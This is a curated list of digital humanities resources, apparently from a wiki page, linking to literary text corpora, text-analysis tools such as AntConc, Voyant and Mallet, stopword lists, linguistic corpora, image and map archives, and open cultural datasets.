- Fiction from the 1880s (sample corpora assembled from Project Gutenberg by students in Alan Liu's [English 197 course, Fall 2014](http://english197s2015.pbworks.com/w/page/93127947/FrontPage) at UC Santa Barbara) (zip files below)
- [Adult British Fiction](https://drive.google.com/open?id=0B9U_te4hoVD8fjdWSDJmN2MyV2FUUko5ZkJyVHgteUxCdi1EdmJRb1BSdVZIcWxxbXpyR28&authuser=0) - 1880s (451 works assembled with assistance of Stanford Literary Lab) ([metadata spreadsheet](https://drive.google.com/open?id=0B9U_te4hoVD8Rkd2R3dzbTI3LWc&authuser=0))
- [Female Corpus](https://drive.google.com/file/d/0B9U_te4hoVD8S2lSaHdCTTZXcU0/view?usp=sharing) (237 works) ([metadata](https://drive.google.com/open?id=0B9U_te4hoVD8NG92WHpvaW1mS2c&authuser=0))
- [Male Corpus](https://drive.google.com/file/d/0B9U_te4hoVD8bVRnRGZ2aDRGbDA/view?usp=sharing) (214 works) ([metadata](https://drive.google.com/open?id=0B9U_te4hoVD8Vzk2cEFYSEtqRUk&authuser=0))
- [Children's Fiction](https://drive.google.com/file/d/0ByeMb_TZCCOnNGduUTdEM2JMR1E/view?usp=sharing) - 1880s (135 works of the 1880s additional to adult fiction of the decade assembled by students in UC Santa Barbara's [English 197 course, Fall 2014](http://english197s2015.pbworks.com/w/page/93127947/FrontPage)) ([metadata spreadsheet](https://drive.google.com/open?id=1oHUudAJ4t8L5JAHN838AWIwKOXgaiFHp2VkO0w5GOnY&authuser=0))
- [American Corpus](https://drive.google.com/open?id=0B7obPk1CTZ_9TnNVVzNmSlU2d2s) (33 works)
- [European Corpus](https://drive.google.com/open?id=0B7obPk1CTZ_9dVVocTJ4Z29kYVE) (102 works) (includes a few Continental European works in addition to the British and American works in this corpus)
- [Female Corpus](https://drive.google.com/open?id=0B7obPk1CTZ_9Q2stdUJKUjh1aDQ) (28 works)
- [Male Corpus](https://drive.google.com/open?id=0B7obPk1CTZ_9amx5M251WFVuSjQ) (107 works)
- [British Female Corpus](https://drive.google.com/open?id=0B7obPk1CTZ_9MW5uMjBEQ1BUTlE) (14 works)
- [British Male Corpus](https://drive.google.com/open?id=0B7obPk1CTZ_9czdIWkNoSnlaTEU) (89 works)
- Shakespeare plays (24 plays from Project Gutenberg assembled by David Bamman, UC Berkeley School of Information) ([zip file](http://t.co/IXiYiCdkVk))
- [txtLAB450 - A Multilingual Data Set of Novels for Teaching and Research](http://txtlab.org/?p=601) (from the .txtLab at McGill U.: a collection of 450 novels "published in English, French, and German during the long nineteenth century (1770-1930). The novels are labeled according to language, year of publication, author, title, author gender, point of view, and word length. They have been labeled as well for use with the stylo package in R. They are drawn exclusively from full-text collections and thus should not have errors comparable to OCR’d texts." [Download the plain-text novels as a zip file](https://figshare.com/articles/txtlab_Novel450/2062002) | [Download the associated metadata as a .csv file.](https://figshare.com/articles/txtLAB_Novel450_csv/2062005)
- William Wordsworth
- (with Samuel Taylor Coleridge) Lyrical Ballads, 1798 (assembled by Alan Liu from Project Gutenberg as separate files for each poem and the "Advertisement") ([zip file](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/wordsworth/lyrical-ballads-1798/lyrical-ballads-1798.zip)) ([metadata](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/wordsworth/lyrical-ballads-1798/_metadata.txt))
- The Prelude, 1850 version (William Knight's 1896 edition assembled by Alan Liu from Project Gutenberg as separate plain-text files for each book and cleaned of line numbers, notes, and note numbers) ([zip file](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/wordsworth/prelude1850/wordsworth-prelude1850.zip)) ([metadata](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/wordsworth/prelude1850/metadata.txt))
- ### Miscellaneous
- Demo text collections assembled by David Bamman, UC Berkeley School of Information:
- Book summaries (2,000 book summaries from Wikipedia) ([zip file](http://t.co/3FkD1ySIXl))
- Film summaries (2,000 movie summaries from Wikipedia) ([zip file](http://t.co/HbQGUmnoq9))
- U.S. patents related to the humanities, 1976-2015 (patents mentioning "humanities" or "liberal arts" located through the [U.S Patent Office's searchable archive](http://www.uspto.gov/patents-application-process/search-patents) of fully-digital patent descriptions since 1976. Collected for the 4Humanities [WhatEvery1Says project](http://4humanities.org/category/whatevery1says/). Idea by Jeremy Douglass; files collected and scraped as plain text by Alan Liu)
- [Metadata](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/humanities-patents/us-patents-mentioning-humanities-liberal-arts.xlsx) (Excel spreadsheet)
- Humanities Patents (76 patents related to humanities or liberal arts) ([zip file](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/humanities-patents/humanities-patents.zip))
- Humanities Patents - Extended Set (336 additional patents that mention the humanities or liberal arts in a peripheral way--e.g., only in reference citations and institutional names of patent holders, as minor or arbitrary examples, etc.) ([zip file](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/humanities-patents/humanities-patents-extended-set.zip))
- Humanities Patents - Total Set (412 patents; combined set of above "Humanities Patents" and "Humanities Patents - Extended Set") ([zip file](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/humanities-patents/humanities-patents-total-set.zip))
### Sites containing large numbers of books, magazines, etc., in plain-text format (among others) that must be downloaded individually:
- [Internet Archive Books](https://archive.org/details/internetarchivebooks) (includes plain-text ["full text"] access to books, issues of magazines, etc.)
- [Oxford Text Archive](http://ota.ox.ac.uk/catalogue/index.html) (large number of texts available in variety of forms, including plain text; texts are accessed one at a time)
- [Project Gutenberg](http://www.gutenberg.org/) (convenient categories and "bookshelves" of works that can be downloaded individually as plain text; [limited automated access]; see also [tips on downloading from Project Gutenberg](http://www.linuxforums.org/forum/coffee-lounge/178590-how-download-loads-books-project-gutenberg-easily.html))
## Quick Start (Common Text-Analysis Tools & Resources)
A minimal selection of common tools and resources to get instructors and students started working with text collections quickly. (These tools are suitable for use with moderate-scale collections of texts, and do not require setting up a Python, R, or other programming-language development environment, which is typical for advanced, large-scale text analysis.)
### Text-Preparation Tools
(Start here to clean, section, and wrangle texts to optimize them for text analysis)
- [Lexos](http://lexos.wheatoncollege.edu/upload) (Included in the Lexos online text-analysis workflow platform are tools for uploading, cleaning [scrubbing] texts, sectioning texts [cutting or chunking], and applying stopwords, lemmatization, and phrase consolidations)
- [See also [fuller list of Text-Preparation Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-text-preparation) indexed on the tools page of DH Toychest]
### Text Analysis Tools
- [AntConc](http://www.antlab.sci.waseda.ac.jp/software.html) (Concordance program with multiple capabilities commonly used by the corpus linguistics research community; with versions for Windows, Mac & Linux; site includes video tutorials. The tool can be used to generate a word frequency list, view words in a KWIC concordance view, locate word clusters and n-grams, and compare word usage to a reference corpus such as a corpus linguistics corpus of typical language use in a nation and time period)
- Heather Froehlich, ["Getting Started with AntConc"](http://hfroehlich.wordpress.com/workshops/getting-started-with-antconc/) (excellent tutorial for getting started)
- [Lexos](http://lexos.wheatoncollege.edu/upload) (Online integrated workflow platform for text analysis that allows users to upload texts, prepare and clean them in various ways, and then perform cluster analyses of various kinds and create visualizations from the results; can also be installed on one's own server) (Note: Lexos has recently added the capability to import Mallet 'topic-counts' output files to visualize topics as word clouds, and also to convert topic-counts files into so-called "topic documents" that facilitate cluster analyses of topics. See Lexos > Visualize > Multicloud)
- [Overview](https://www.overviewproject.org/) (open-source web-based tool designed originally for journalists needing to sort large numbers of stories automatically and cluster them by subject/topic; includes visualization and reading interface; allows for import of documents in PDF and other formats. "Overview has been used to analyze emails, declassified document dumps, material from Wikileaks releases, social media posts, online comments, and more." Can also be installed on one's own server)
- [Voyant Tools](http://voyant-tools.org/) (Online text reading and analysis environment with multiple capabilities that presents statistics, concordance views, visualizations, and other analytical perspectives on texts in a dashboard-like interface. Works with plain text, HTML, XML, PDF, RTF, and MS Word files [multiple files best uploaded as a zip file]. Also comes with two pre-loaded sets of texts to work on (Shakespeare's works and the Humanist List archives [click the “Open” button on the main page to see these sets])
- [Voyant "Get Started" Guide](http://docs.voyant-tools.org/start/)
- [Helpful tutorial](http://pedagogy-toolkit.org/tools/VoyantTools.html) from Pedagogy Toolkit with tips and examples for classroom use of Voyant
- [Voyant tool list](http://docs.voyant-tools.org/tools/)
- [Voyant Tools Documentation](http://docs.voyant-tools.org/)
- [VoyantServer](http://docs.voyant-tools.org/run-your-own/voyant-server/) (downloadable Java-based version of Voyant Tools that can be installed and run locally on desktop or laptop computer)
- **Topic Modeling**: (Currently, Mallet is the standard, off-the-shelf tool that scholars in the humanities use for topic modeling. [Specifically, Mallet is is a "LDA" or Latent Dirichlet Allocation topic modeling tool. For good "simple" explanations of LDA topic modeling intended for humanist and other scholars, see [Edwin Chen](http://blog.echen.me/2011/08/22/introduction-to-latent-dirichlet-allocation/) and [Ted Underwood's posts.](http://tedunderwood.com/2012/04/07/topic-modeling-made-just-simple-enough/)] It is a command-line tool that requires students to fuss with exact strings of commands and path names. But the few GUI-interface implementations that now exist such as the [Topic Modeling Tool](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#topic-modeling-tool-java) do not allow for enough customization of options for serious exploration.)
- [Mallet](http://mallet.cs.umass.edu/index.php) (Download source for Mallet, which must be installed in your local computer's root directory. See the Programming Historian's excellent [tutorial](http://programminghistorian.org/lessons/topic-modeling-and-mallet) for installing and starting with Mallet.)
- [See also [fuller list of Text-Analysis Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-text-analysis) indexed on the tools page of DH Toychest]
### Stopwords
(Lists of frequent, functional, and other words with little independent semantic value that text-analyis tools can be instructed to ignore--e.g., by loading a stopword list into Antconc [[instructions](https://www.youtube.com/watch?v=zHYrfxijblY&feature=youtube_gdata), at 8:15 in tutorial video] or Mallet [[instructions](http://mallet.cs.umass.edu/import-stoplist.php)]. Researchers conducting certain kinds of text analysis (such as topic modeling) where common words, spelled-out numbers, names of months/days, or proper nouns such as "John" indiscriminately connect unrelated themes often apply stopword lists. Usually they start with a standard stopword list such as the Buckley-Salton or Fox lists and add words tailored to the specific texts they are studying. For instance, typos, boilerplate words or titles, and other features specific to a body of materials can be stopped out. For other purposes in text analysis such as stylistic study of authors, nations, or periods, common words may be included rather than being stopped out because their frequency and participation in patterns offer meaningful clues.)
- **English:**
- [Buckley-Salton Stoplist](http://www.lextek.com/manuals/onix/stopwords2.html) (571 words) (1971; [information about list](http://finzi.psych.upenn.edu/library/qdapDictionaries/html/BuckleySaltonSWL.html))
- [Fox Stoplist](https://dl.dropboxusercontent.com/u/54303069/fox_1990_stoplist.txt) (421 words) (1989; [information about list](http://dl.acm.org/citation.cfm?id=378888))
- [Mallet Stoplist](http://oldsite.english.ucsb.edu/faculty/ayliu/unlocked/utility-resources/mallet_stopwords_2015.txt) (523 words) (default English stop list hard-coded into Mallet topic modeling tool; stoplists for German, French, Finnish, German, and Japanese also included in "stoplists" folder in local Mallet installations) (Note: Use the default English stoplist in Mallet by adding the option "--remove-stopwords " in the command string when inputting a folder of texts. To add stopwords of your own or another stopwords file, create a separate text file and additionally use the command "--extra-stopwords filename". See Mallet stopwords [instructions](http://mallet.cs.umass.edu/import-stoplist.php))
- [Jockers Expanded Stoplist](http://www.matthewjockers.net/macroanalysisbook/expanded-stopwords-list/) (5,621 words, including many proper names) ("the list of stop words I used in topic modeling a corpus of 3,346 works of 19th-century British, American, and Irish fiction. The list includes the usual high frequency words (“the,” “of,” “an,” etc) but also several thousand personal names.")
- [Goldstone-Underwood Stoplist](https://www.ideals.illinois.edu/handle/2142/45709) (6,032 words) (2013; stopword list used by Andrew Goldstone and Ted Underwood in their topic modeling work with English-language literary studies journals) ([text file download link](https://www.ideals.illinois.edu/bitstream/handle/2142/45709/stoplist_final.txt))
- **Other Languages:**
- [Kevin Bougé Stopword Lists Page](https://sites.google.com/site/kevinbouge/stopwords-lists) ("stop words for Arabic, Armenian, Brazilian, Bulgarian, Chinese, Czech, Danish, Dutch, English, Farsi, Finnish, French, German, Greek, Hindi, Hungarian, Indonesian, Italian, Japanese, Latvian, Norwegian, Polish, Portuguese, Romanian, Russian, Spanish, Swedish, Turkish")
- [Ranks NL Stopword Lists Page](http://www.ranks.nl/stopwords) (stop words for Arabic, Armenian, Basque, Bengali, Brazilian, Bulgarian, Catalan, Chinese, Czech, Danish, Dutch, English, Finnish, French, Galician, German, Greek, Hindi, Hungarian, Indonesian, Irish, Italian, Japanese, Korean, Kurdish, Latvian, Lithuanian, Marathi, Norwegian, Persian, Polish, Portugese, Romanian, Russian, Slovak, Spanish, Swedish, Thai, Turkish, Ukranian, Urdu)
### Reference Linguistic Corpora
(Curated corpus-linguistics corpora of language samples from specific nations and time periods designed to be representative of prevalent linguistic usage. May be used online [or downloaded for use in Antconc] as reference corpora for the purpose of comparing linguistic usage in specific texts against broader usage)
- [Corpus.byu.edu](http://corpus.byu.edu/) (Mark Davies and Brigham Young University's excellent collection of linguistic corpora)
## Document/Image Collections
API = has API for automated data access or export<br>
Img = Image archives in public domain
- [ARTFL: Public Databases](https://artfl-project.uchicago.edu/content/public-databases) (American and French Research on the Treasury of the French Language) (expansive collection of French-language resources in the humanities and other fields from the 17th to 20th centuries)
- [Avant-garde and Modernist Magazines](http://monoskop.org/Magazines) (Monoskop guide to modernist avant-garde magazines; includes extensive links to online archives and collections of the magazines)
- [British Library Images](http://www.flickr.com/photos/britishlibrary) ("We have released over a million images onto Flickr Commons for anyone to use, remix and repurpose. These images were taken from the pages of 17th, 18th and 19th century books digitised by Microsoft who then generously gifted the scanned images to us, allowing us to release them back into the Public Domain")
- [BT (British Telecom) Digital Archives](http://calmarenabt.axiell.com/web/arena) ("Bhas teamed up with Coventry University and The National Archives to create a searchable digital resource of almost half a million photographs, reports and items of correspondence preserved by BT since 1846.... collection showcases Britain’s pioneering role in the development of telecommunications and the impact of the technology on society")
- [CELL](http://cellproject.net/) (created by the Electronic Literature Organization, "Consortium on Electronic Literature (CELL) is an open access, non-commercial resource offering centralized access to literary databases, archives, and institutional programs in the literary arts and scholarship, with a focus on electronic literature")
- [Creative Commons](http://search.creativecommons.org/) Img
- [Digging Into Data Challenge - List of Data Repositories](http://diggingintodata.org/repositories)
- [Digital Public Library of America](http://dp.la/) ("brings together the riches of America’s libraries, archives, and museums, and makes them freely available to the world") API
- Apps and API's drawing on DPLA:
- [Culture Collage](http://www.zenlan.com/collage/dpla/#) (image searching/scrapbooking from DPLA)
- [Culture Collage](http://www.zenlan.com/collage/lanes-international/#) - International Lanes (co-search for images in DPLA, Europeana, and Trove)
- [Digital Repositories from around the world](http://primary-sources.eui.eu/browse-repositories) (listed by EHPS, European History Primary Resources)
- [ELMCIP Electronic Literature Knowledge Base](http://elmcip.net/knowledgebase) ("cross-referenced, contextualized information about authors, creative works, critical writing, and practices")
- [EEBO-TCP Texts](https://github.com/textcreationpartnership) (public-domain digitized texts from the Early English Books Online / Text Creation Partnership; "EEBO-TCP is a partnership with ProQuest and with more than 150 libraries to generate highly accurate, fully-searchable, SGML/XML-encoded texts corresponding to books from the Early English Books Online Database.... these trace the history of English thought from the first book printed in English in 1475 through to 1700.")
- EPC (Electronic Poetry Center)
- [Digital Library](http://epc.buffalo.edu/library/) (collection of works from many poets)
- [Periodicals](http://epc.buffalo.edu/library/#periodicals) (collection of poetry magazines)
- [Europeana](http://www.europeana.eu/) (" digitised collections of museums, libraries, archives and galleries across Europe") API
- [Flickr Commons](http://www.flickr.com/commons) Img
- [Folger Library Digital Image Collection](http://luna.folger.edu/luna/servlet/FOLGERCM1~6~6) Img (" tens of thousands of high resolution images from the Folger Shakespeare Library, including books, theater memorabilia, manuscripts, and art. Users can show multiple images side-by-side, zoom in and out, view cataloging information when available, export thumbnails, and construct persistent URLs linking back to items or searches")
- [French Revolution Digital Archive](http://frda.stanford.edu/en/images) Img (collaboration of the Stanford University Libraries and the Bibliothèque nationale de France to put online "high-resolution digital images of approximately 12,000 individual visual items, primarily prints, but also illustrations, medals, coins, and other objects, which display aspects of the Revolution")
- [Gallica](http://gallica.bnf.fr/?lang=EN) (documents and images from Gallica, the "digital library of the Bibliothèque nationale de France and its partners")
- [GDELT: The Global Database of Events, Language, and Tone](http://gdelt.utdallas.edu/about.html) (downloadable datasets from "initiative to construct a catalog of human societal-scale behavior and beliefs across all countries of the world over the last two centuries down to the city level globally, to make all of this data freely available for open research, and to provide daily updates to create the first "realtime social sciences earth observatory"; "Nearly a quarter-billion georeferenced events capture global behavior in more than 300 categories covering 1979 to present with daily updates")
- [Getty Embeddable Images](http://www.gettyimages.com/embed) (major collection of stock and archival photos that includes over 30 million images that can be embedded in an iframe on a user's web page; in the embeddable image collection, hover over a photo and select the "</>" icon to get the HTML code for embedding)
- [Google Advanced Image Search](http://www.google.com/advanced_image_search) Img (can be used to search by usage rights)
- [Google Maps Gallery](http://maps.google.com/gallery/) (maps and map data from Google and content creators publishing their data on Google Maps)
- [HathiTrust Digital Library](http://www.hathitrust.org/) ("international partnership of more than 50 research institutions and libraries ... working together to ensure the long-term preservation and accessibility of the cultural record"; "more than 8 million volumes, digitized from the partnering library collections"; "more than 2 million of these volumes are in the public domain and freely viewable on the Web. Texts of approximately 120,000 public domain volumes in HathiTrust are available immediately to interested researchers. Up to 2 million more may be available through an agreement with Google that must be signed by an institutional sponsor. More information about obtaining the texts, including the agreement with Google, is available at [http://www.hathitrust.org/datasets](http://www.hathitrust.org/datasets)")
- See also [HathiTrust Research Center](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244469/Data%20Collections%20and%20Datasets#htrc) under Datasets below.
- [HuNI](http://huni.net.au/) ("unlocking and uniting Australia's cultural datasets")
- [Internet Archive](https://archive.org/)
- [Digital Books Collections](https://archive.org/details/texts)
- [Book Images](https://www.flickr.com/photos/internetarchivebookimages/with/14598540509/) Img (millions of images from books that the Internet Archive has uploaded to its Flickr account; images are accompanied by extensive metadata, including information on location in original book, text immediately before and after the image, any copyright restrictions that apply, etc. Images also tagged to enhance searching)
- [Isidore](http://www.rechercheisidore.fr/) (French-language portal that "allows researchers to search across a wide range of data from the social sciences and humanities. ISIDORE harvests records, metadata and full text from databases, scientific and news websites that have chosen to use international standards for interoperability")
- [The Japanese American Evacuation and Resettlement](http://bancroft.berkeley.edu/collections/jais/): A Digital Archive (UC Berkeley) (Approximately 100,000 images and pages of text; searches by creator, genre of document, and confinement location produce records with downloadable PDF's of original documents [OCR'd]
- [The Mechanical Curator](http://mechanicalcurator.tumblr.com/) ("public-domain "randomly selected small illustrations and ornamentations, posted on the hour. Rediscovered artwork from the pages of 17th, 18th and 19th Century books")
- [Media History Digital Library](http://mediahistoryproject.org/) ("non-profit initiative dedicated to digitizing collections of classic media periodicals that belong in the public domain for full public access"; "digital scans of hundreds of thousands of magazine pages from thousands of magazine issues from 1904 to 1963") (to download plain-text versions of material, select a magazine and volume, click on the "IA Page" link, and on the resulting Internet Archive page for the volume click on the "All Files: HTTPS:" option; then save the file that ends "\_djvu.txt")
- [Metadata Explorer](http://www.deanfarr.com/metadata_explorer/) (searches Digital Public Library of America, Europeana, Digital New Zealand, Harvard ,and other major library and collected repository metadata; then generates interactive network graphs for exploring the collections)
- [Metropolitan Museum of Art (NYC)](http://www.metmuseum.org/collection) Img (400,000 downloadable hi-res public domain images from the museum's collection, identified with an icon for "OASC" or Open Access for Scholarly Content"; see FAQ for OASC images)
- [National Archives (U. S.)](http://www.archives.gov/)
- [Nebraska Newspapers](http://nebnewspapers.unl.edu/) ("300,000 full-text digitized pages of 19th and early 20th Century newspapers from selected communities in Nebraska that can be used for text mining...TIFF images, JPEG2000, and PDFs with hidden text. Optical character recognition has been performed on the scanned images, resulting in dirty OCR")
- New York Times [TimesMachine](http://timesmachine.nytimes.com/browser) (requires NY Times subscription; provides searchable facsimile and full-text PDF access to historical archives of the Times before 1980)
- [OAKsearch](http://texasam.hosted.exlibrisgroup.com:1701/primo_library/libweb/action/search.do?dscnt=1&fromLogin=true&dstmp=1403667491151&vid=tamuoa&fromLogin=true) (portal for searching across multiple open-access collections for scholarly articles that are "digital, online, free-of-charge, and free of most copyright and licensing restrictions")
- [Open Images](http://www.openimages.eu/) Img ("open media platform that offers online access to audiovisual archive material to stimulate creative reuse. Footage from audiovisual collections can be downloaded and remixed into new works. Users of Open Images also have the opportunity to add their own material to the platform and thus expand the collection")
- [Open Library](https://openlibrary.org/) ("We have well over 20 million edition records online, provide access to 1.7 million scanned versions of books, and link to external sources like WorldCat and Amazon when we can. The secondary goal is to get you as close to the actual document you're looking for as we can, whether that is a scanned version courtesy of the Internet Archive, or a link to Powell's where you can purchase your own copy")
- [Oxford University Text Archive](http://ota.ahds.ac.uk/catalogue/index.html)
- [Perseus Digital Library](http://www.perseus.tufts.edu/hopper/collections) ("Perseus has a particular focus upon the [Greco-Roman world](http://www.perseus.tufts.edu/hopper/collection?collection=Perseus:collection:Greco-Roman) and upon classical Greek and Latin.... [Early modern English](http://www.perseus.tufts.edu/hopper/collection?collection=Perseus:collection:Renaissance), the [American Civil War](http://www.perseus.tufts.edu/hopper/collection?collection=Perseus:collection:cwar), the [History and Topography of London](http://nils.lib.tufts.edu/4000.01/), the History of Mechanics, [automatic identification and glossing of technical language in scientific documents](http://dca.lib.tufts.edu/scale/), customized reading support for Arabic language, and other projects that we have undertaken allow us to maintain a broader focus and to demonstrate the commonalities between Classics and other disciplines in the humanities and beyond")
- [Powerhouse Museum](http://www.powerhousemuseum.com/collection/database/download.php) (Sydney) API
- [Project Gutenberg](http://www.gutenberg.org/) (42,000 free ebooks) [limited automated access (see also tips on downloading from Project Gutenberg)]
- [Ranking Web of Repositories](http://repositories.webometrics.info/en/world) (extensive ranked listings, with links, to world online repositories that include peer-reviewed papers)
- [Shared Self Commons](http://www.sscommons.org/openlibrary/welcome.html#1) ("free, open-access library of images. Search and browse collections with tools to zoom, print, export, and share images")
- [SNAC (Social Networks & Archival Contexts)](http://socialarchive.iath.virginia.edu/) | [Prototype](http://socialarchive.iath.virginia.edu/staff.html#AL)
- [Trove](http://trove.nla.gov.au/) ("Find and get over 355,846,887 Australian and online resources: books, images, historic newspapers, maps, music, archives and more") API
- [VADS Online Source for Visual Arts](http://www.vads.ac.uk/) Img ("visual art collections comprising over 100,000 images that are freely available and copyright cleared for use in learning, teaching and research in the UK")
- [YAGO2s](http://www.mpi-inf.mpg.de/yago-naga/yago/) ("huge semantic knowledge base, derived from Wikipedia WordNet and GeoNames") [downloadable metadata]
- [Wellcome Collection of Historical Images](https://wellcomecollection.org/works) (CC licensed)
## Linguistic Corpora
(A "corpus" is a large collection of writings, sentences, and phrases. In linguistics, corpora cover particular nationalities, periods, and other kinds of language for use in the study of language.)
- [Australian National Corpus](https://www.ausnc.org.au/)
- [Corpus of Contemporary American English](http://corpus.byu.edu/coca/) (COCA) (450 million words, 1900-2012)
- [Corpus of Late 18-Century Prose](http://personalpages.manchester.ac.uk/staff/david.denison/late18c) ("about 300,000 words of local English letters on practical subjects, dated 1761-90")
- [GloWbE (Corpus of Global Web-Based English)](http://corpus2.byu.edu/glowbe/) (1.9 billion words, 20 countries)
- [Google Books Corpora](http://googlebooks.byu.edu/) (American, British, Spanish, and other corpora from Google Books)
- [Open American National Corpus](http://www.americannationalcorpus.org/OANC/index.html) (
- [American National Corpus](http://www.anc.org/data/masc/corpus/) ("a balanced subset of 500K words of written texts and transcribed speech drawn primarily from the Open American National Corpus [OANC]")
- [Oxford University Text Archive: Corpora](http://ota.ahds.ac.uk/catalogue/index.html)
## Map Collections
- [David Rumsey Map Collection](http://www.davidrumsey.com/) (includes historical maps)
- [Library of Congress "American Memory: Map Collections"](http://memory.loc.gov/ammem/gmdhtml/) (focused on "Americana and Cartographic Treasures of the Library of Congress. These images were created from maps and atlases and, in general, are restricted to items that are not covered by copyright protection")
- [Mapping History](http://mappinghistory.uoregon.edu/english/index.html) (provides "interactive and animated representations of fundamental historical problems and/or illustrations of historical events, developments, and dynamics. The material is copyrighted, but is open and available to academic users...")
- [National Historial Geographical Information System (NHGIS)](https://www.nhgis.org/user-resources/project-description) ("free of charge, aggregate census data and GIS-compatible boundary files for the United States between 1790 and 2011")
- [Old Maps Online](http://www.oldmapsonline.org/#bbox=-109.998046,-51.983982,119.923829,71.99982&q=&datefrom=1000&dateto=2010) ("easy-to-use gateway to historical maps in libraries around the world"; "All copyright and IPR rights relating to the map images and metadata records are retained by the host institution which provided them and any query regarding them must be addressed to that particular host institution")
## Datasets (Public / Open Datasets)
(Includes some datasets accessible only though API's, especially if accompanied by code samples or embeddable code for using the [API's](http://www.webopedia.com/TERM/A/API.html).) [Currently this section is being collected; organization into sub-categories by discipline or topic may occur in the future]
- Datasets of Humanities Materials (including materials related to culture, popular culture, the arts)
- Major Federated/Collected Humanities Dataset Sources
- [Digital Public Library of America (DLPA): Developers](http://dp.la/info/developers/) (API's and bulk downloads)
- [Europeana Data Downloads](http://labs.europeana.eu/api/linked-open-data/data-downloads/) ("File dumps for 20 million objects from [Europeana providers](http://europeana.eu/portal/europeana-contributors.html) are downloadable in RDF at [http://data.europeana.eu/download/2.0/](http://data.europeana.eu/download/2.0/). A detailed overview of the datasets and their data providers is available as a Google spreadsheet")
- [HathiTrust Research Center (HTRC) Portal](https://htrc2.pti.indiana.edu/HTRC-UI-Portal2/) (allows registered users to search the HathiTrust's ~3 million public domain works, create collections, upload worksets of datra in CSV format, and perform algorithmic analysis -- e.g., word clouds, semantic analysis, topic modeling) ([Sign-up](https://htrc2.pti.indiana.edu/HTRC-UI-Portal2/SignUpAction) for login to HTRC portal; parts of the search and analysis platform requiring institutional membershkp also require a userid for the user's university)
- [Features Extracted From the HTRC](https://sandbox.htrc.illinois.edu/HTRC-UI-Portal2/Features) ("A great deal of fruitful research can be performed using non-consumptive pre-extracted features. For this reason, HTRC has put together a select set of page-level features extracted from the HathiTrust's non-Google-digitized public domain volumes. The source texts for this set of feature files are primarily in English. Features are notable or informative characteristics of the text. We have processed a number of useful features, including part-of-speech tagged token counts, header and footer identification, and various line-level information. This is all provided per-page.... The primary pre-calculated feature that we are providing is the token (unigram) count, on a per-page basis"; data is returned in JSON format)
- National Archive or National Centralized Dataset Sources
- [Australian Data Archive (ADA)](http://www.ada.edu.au/)
- [Canadiana Discovery Portal - API](http://search.canadiana.ca/support/api)
- [DigitalNZ](http://digitalnz.org/) ("more than 27 million digital items to discover New Zealand treasures such as amazing aerial photos, posters and memorabilia, newspaper clippings, artworks, and publications." [API's for access to data with sample and embeddable code](http://digitalnz.org/developers/code-samples-and-libraries))
- [Dutch Open Cultuur Data](http://www.opencultuurdata.nl/datasets/)
- [Flander's Open Cultuur Data](http://opencultuurdata.be/datasets/)
- [Swedish Open Cultural Heritage](http://www.ksamsok.se/in-english/) (SOCH) (API's and Datasets)
- [Trove and National Library of Australia APIs](http://help.nla.gov.au/trove/building-with-trove/api)
- [U. S. National Archives For Developers](http://www.archives.gov/developer/) (API's and datasets)
- Library & Bibliographical Datasets
- [Datahub: Bibliographic Data](http://datahub.io/group/bibliographic) ("open bibliographic datasets")
- [British National Library Linked Open Data: Bulk Downloads](http://www.bl.uk/bibliographic/download.html#lodbnb)
- [Cambridge University Library Open Data](http://data.lib.cam.ac.uk/)
- [Harvard Library Bibliographic Dataset](http://openmetadata.lib.harvard.edu/bibdata) ("over 12 million bibliographic records for materials held by the Harvard Library, including books, journals, electronic resources, manuscripts, archival materials, scores, audio, video and other materials")
- [JISC Open Bibliography British National Bibliography Dataset](http://datahub.io/dataset/jiscopenbib-bl_bnb-1) ("records of all new books published in the UK since 1950")
- [JISC Open Bib Cambridge University Library Bibliographic Dataset](http://datahub.io/dataset/jiscopenbib-cul-1)
- [National Library of France/Bibliothèque nationale de France: Semantic Web & Data Model Page](http://data.bnf.fr/semanticweb) (includes RDF data dumps)
- [National Library of the Netherlands (Koninklijke Bibliotheek) - Data Services / API's](http://www.kb.nl/banners-apis-en-meer/dataservices-apis)
- [New York Public Library: Data](http://menus.nypl.org/data)
- [OCLC Developer Resources - API's](https://platform.worldcat.org/api-explorer/) (API's for access to WorldCat library data)
- [Open Bibliographic Data Guide - Examples](http://obd.jisc.ac.uk/examples)
- [Open Library Data Dumps](https://openlibrary.org/developers/dumps) ("Open Library is an open, editable library catalog, building towards a web page for every book ever published.... provides dumps of all the data in various formats.... generated every month")
- [The Open University - Linked Data (Datasets)](http://lucero.open.ac.uk/site/datasets.html)
- [Publications New Zealand: Metadata](https://natlib.govt.nz/about-us/open-data/publications-nz-metadata) (bibliographic records created by the New Zealand "National Library and other New Zealand libraries, and
- a small number of bibliographic records from OCLC’s WorldCat")
- Museum Datasets
- [Finnish National Gallery API](http://kokoelmat.fng.fi/api/v2support/docs/#/overview) (API's and data package downloads)
- [Museum API's](http://museum-api.pbworks.com/w/page/21933420/Museum%C2%A0APIs) (list of sites with access to datasets through API's; some sites include sample or embeddable code for using API's)
- [British Museum Semantic Web Collection Online](http://datahub.io/dataset/british-museum)
- [Penn Museum Data](http://penn.museum/collections/data.php) ("object data available in the online collection as either a CSV, XML or JSON file" from U. Pennsylvania Museum of Archaeology and Anthropology)
- [Rijksmuseum API](http://kokoelmat.fng.fi/api/v2support/docs/#/overview)
- [Royal Pavilion and Brighton Museums - Open Data](http://rpmcollections.wordpress.com/2012/07/20/open-data-from-our-collections/)
- [Science Museum, National Railway Museum, Media Museum, U.K. (NMSI)](http://api.sciencemuseum.org.uk/documentation/collections/) ("object records as CSV")
- [Tate Gallery Collection Metadata](https://github.com/tategallery/collection) ("metadata for around 70,000 artworks that Tate owns or jointly owns with the National Galleries of Scotland as part of ARTIST ROOMS. Metadata for around 3,500 associated artists is also included.... images are not included and are not part of the dataset")
